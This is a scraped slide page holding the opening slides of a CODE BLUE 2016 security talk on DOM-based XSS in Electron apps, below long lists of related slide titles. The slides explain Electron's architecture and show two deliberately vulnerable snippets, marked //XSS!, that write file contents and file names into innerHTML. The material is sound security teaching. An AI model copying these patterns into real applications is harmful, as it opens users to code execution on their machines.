Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or ServerlessRunning Java Apps with Amazon EC2, AWS Elastic Beanstalk or Serverless
Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or ServerlessKeisuke Nishitani
 
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~Saki Homma
 
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメ
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメXamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメ
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメYoshito Tabuchi
 
第9回勉強会 Webセキュリティー
第9回勉強会 Webセキュリティー第9回勉強会 Webセキュリティー
第9回勉強会 Webセキュリティーhakoika-itwg
 
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-Saki Homma
 
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)崇之 清水
 
RoR周辺知識15項目
RoR周辺知識15項目RoR周辺知識15項目
RoR周辺知識15項目saiwaki
 
Web on Kernel
Web on KernelWeb on Kernel
Web on Kerneldynamis
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めHiroshi Tokumaru
 
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ 【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ 日本マイクロソフト株式会社
 
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシングAWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング江藤 武司
 

Similar to [CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by はせがわようすけ (20)

次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)次世代プラットフォームのセキュリティモデル考察(前編)
次世代プラットフォームのセキュリティモデル考察(前編)
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
.NET の過去、現在、そして未来
.NET の過去、現在、そして未来.NET の過去、現在、そして未来
.NET の過去、現在、そして未来
 
Firefox OS - Blaze Your Own Path
Firefox OS - Blaze Your Own PathFirefox OS - Blaze Your Own Path
Firefox OS - Blaze Your Own Path
 
Android T2 on cloud
Android T2 on cloudAndroid T2 on cloud
Android T2 on cloud
 
Demo120724
Demo120724Demo120724
Demo120724
 
Kilimanjaro Event
Kilimanjaro EventKilimanjaro Event
Kilimanjaro Event
 
体系的に学ばないXSSの話
体系的に学ばないXSSの話体系的に学ばないXSSの話
体系的に学ばないXSSの話
 
Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or Serverless
Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or ServerlessRunning Java Apps with Amazon EC2, AWS Elastic Beanstalk or Serverless
Running Java Apps with Amazon EC2, AWS Elastic Beanstalk or Serverless
 
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~
実践 Web App for Containers! ~コンテナ開発の基礎からDevOps環境の構築まで~
 
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメ
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメXamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメ
Xamarin de:code セッション:Windows Phone / iOS / Android アプリ同時開発のススメ
 
第9回勉強会 Webセキュリティー
第9回勉強会 Webセキュリティー第9回勉強会 Webセキュリティー
第9回勉強会 Webセキュリティー
 
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
はじめてのAzure Web App for Containers! -コンテナの基礎から DevOps 環境の構築まで-
 
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)
Node.jsとAWS入門(Elastic Beanstalk & AWS SDK for Node.js)
 
RoR周辺知識15項目
RoR周辺知識15項目RoR周辺知識15項目
RoR周辺知識15項目
 
SocketStream入門
SocketStream入門SocketStream入門
SocketStream入門
 
Web on Kernel
Web on KernelWeb on Kernel
Web on Kernel
 
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧めガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
 
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ 【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ
【BS14】Blazor WebAssemblyとJavaScriptのインターオペラビリティ
 
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシングAWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング
AWS Lake Formation で実現、マイクロサービスのサーバーレスな分散トレーシング
 

More from CODE BLUE

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...CODE BLUE
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten NohlCODE BLUE
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo PupilloCODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...CODE BLUE
 

More from CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Recently uploaded

SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Danieldanielhu54
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 

Recently uploaded (10)

SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Daniel
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 

[CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by はせがわようすけ

  • 1. Build cross platform desktop XSS It’s easier than you think ELECTRON Secure Sky Technology Inc. Yosuke HASEGAWA
  • 2. Yosuke HASEGAWA @hasegawayosuke Secure Sky Technology Inc. Technical Advisor OWASP Kansai Chapter Leader OWASP Japan Chapter board member CODE BLUE Review board member http//utf-8.jp/ Author of jjencode, aaencode Talked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others. Found many vulns of IE, Firefox and others. Secure Sky Technology Inc. CODE BLUE 2016
  • 3. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? GitHub社によって開発された、クロスプラット フォームなデスクトップアプリケーションを開発 するためのフレームワーク HTML+JavaScriptでアプリケーションを作成で きる 多くのアプリケーションで使用実績
  • 4. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? HTML + JavaScript = Native Apps Microsoft HTML Application (*.hta) Firefox OS Apache Cordova / Adobe PhoneGap Chrome Apps Electron / NW.js Electron Cross platform バイナリのビルドが可能
  • 5. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? Node.jsとChromiumをランタイムとして内包 メインプロセス アプリケーション全体を統括。node.jsそのもの レンダラプロセス Chromium+node.js main process renderer process Electron Apps IPC
  • 6. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? main process renderer process Electron Apps IPC index.html package.json { "name" : "Apps name", "version" : "0.1", "main" : "main.js" } main.js let win = new BrowserWindow( {width:840,height:700} ); {json} <html> <head>...</head> <body> <script>...</script> </body> </html> win.loadURL( `file://${__dirname}/index.html` );
  • 7. Secure Sky Technology Inc. CODE BLUE 2016 What's Electron ? レンダラではブラウザ内でnode.jsが動く node機能は無効にもできる。デフォルト有効。 <html> <script> const fs = require( "fs" ); function foo(){ fs.readFile( "./test.txt", { encoding: "utf-8" }, (err, data) => { document.getElementById("main").textContent = data; } ); } </script> <div id="main"> </div> </html>
  • 8. Secure Sky Technology Inc. CODE BLUE 2016 Electronアプリのセキュリティ対策
  • 9. Secure Sky Technology Inc. CODE BLUE 2016 Electronアプリのセキュリティ対策 おおきく3種類の問題に分けられる Webアプリとしてのセキュリティ対策 レンダラはブラウザ。DOM-based XSS対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など、古くから のアプリケーション同様の対策 Electron固有のセキュリティ対策 様々なElectronの機能に対する対策
  • 10. Secure Sky Technology Inc. CODE BLUE 2016 Electronアプリのセキュリティ対策 おおきく3種類の問題に分けられる Webアプリとしてのセキュリティ対策 レンダラはブラウザ。DOM-based XSS対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など、古くから のアプリケーション同様の対策 Electron固有のセキュリティ対策 様々なElectronの機能に対する対策
  • 11. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 レンダラプロセス : Chromium + node.js DOM操作が多くなりがち DOM-based XSSが発生しやすい JavaScriptによるオープンリダイレクタ 従来のWebアプリ同様のフロントエンドのセキュ リティ対策が必要
  • 12. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 DOM-based XSSが発生しやすい DOM操作が多い そもそもDOM-based XSSは見つけにくい fs.readFile( filename, (err,data) => { if(!err) element.innerHTML = data; //XSS! }); fs.readdir( dirname, (err,files) => { files.forEach( (filename) => { let elm = document.createElement( "div" ); elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS! paerntElm.appendChild( elm ); }); });
  • 13. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 DOM-based XSSが発生すると致命的な被害 攻撃者のインジェクトしたコード内でもnode機能が 利用可能な場合が多い XSS = alert だけではない ローカルファイルの読み書き 任意プロトコルでの通信 他アプリへの干渉 任意プロセスの生成 つまり、DOM-based XSSをきっかけに任意の コード実行が可能となる
  • 14. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 従来のWebアプリ ニセ情報の表示、Cookieの漏えい、Webサイト内の 情報の漏えい… 「該当Webサイト内」でJSができること全て 該当Webサイトを超えては何もできない ブラウザに守られている … サンドボックス 脆弱性があっても自身のWebサイト以外への影響 はない サイト運営者が責任を持てる範囲でしか被害が発 生しない
